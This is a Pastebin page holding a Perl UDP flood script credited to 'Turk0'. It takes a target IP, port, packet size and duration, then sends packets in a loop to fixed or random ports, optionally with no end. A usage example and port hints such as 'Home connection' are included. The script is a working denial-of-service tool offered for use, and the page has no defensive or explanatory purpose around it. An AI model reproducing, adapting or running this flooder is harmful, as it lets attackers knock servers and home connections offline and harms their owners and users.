Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ### PERL METHOD ATTACK BY TURK0 [ Turk0.pl ] ###
- #!/usr/bin/perl
- ##
- # Turk0
- ##
- use Socket;
- use strict;
- if ($#ARGV != 3) {
- print "\n";
- use Term::ANSIColor;
- print color 'red';
- print "[!] Turk0 PERL Method [!] \n\n";
- print "turk0.pl <ip> <port> <size> <time>\n\n";
- print " port=0: use random ports\n";
- print " size=1: <1> best powerful \n";
- print " time=0: unlimited flood\n\n";
- print " Exemple: perl turk0.pl 123.12.123.123 80 1 900";
- print "\n\n";
- print " [!] PORT INFO [!] \n\n";
- print " 21 = VPS, SERVER \n";
- print " 22 = SFTP \n";
- print " 53 = DNS \n";
- print " 80 = Home connection \n";
- print "\n";
- print "By Turk0 \n";
- print "\n";
- exit(1);
- }
- my ($ip,$port,$size,$time) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport);
- $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
- $endtime = time() + ($time ? $time : 100);
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- use Term::ANSIColor;
- print color 'blue';
- print <<EOTEXT;
- _________-----_____
- _____------ __ ----_
- ___---- ___------ \
- ----________ ---- \
- -----__ | _____)
- __- / \
- _______----- ___-- \ /)\
- ------_______ ---____ \__/ /
- -----__ \ -- _ /\
- --__--__ \_____/ \_/\
- ----| / |
- | |___________|
- | | ((_(_)| )_)
- | \_((_(_)|/(_)
- \ (
- \_____________)
- [!] Attack Launched by Turk0 Method [!]
- EOTEXT
- use Term::ANSIColor;
- print color 'green';
- print "IP : $ip " . "WITH PORT : " . ($port ? $port : "random") . "
- POWER : " .
- ($size ? "$size BYTE(S)" : "POWERFULL") . "
- " .
- ($time ? "FOR $time SECONDS" : "") . "\n";
- print "STOP WITH CTRL+C" unless $time;
- for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1500000-64)+64) ;
- $pport = $port ? $port : int(rand(1500000))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
- $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement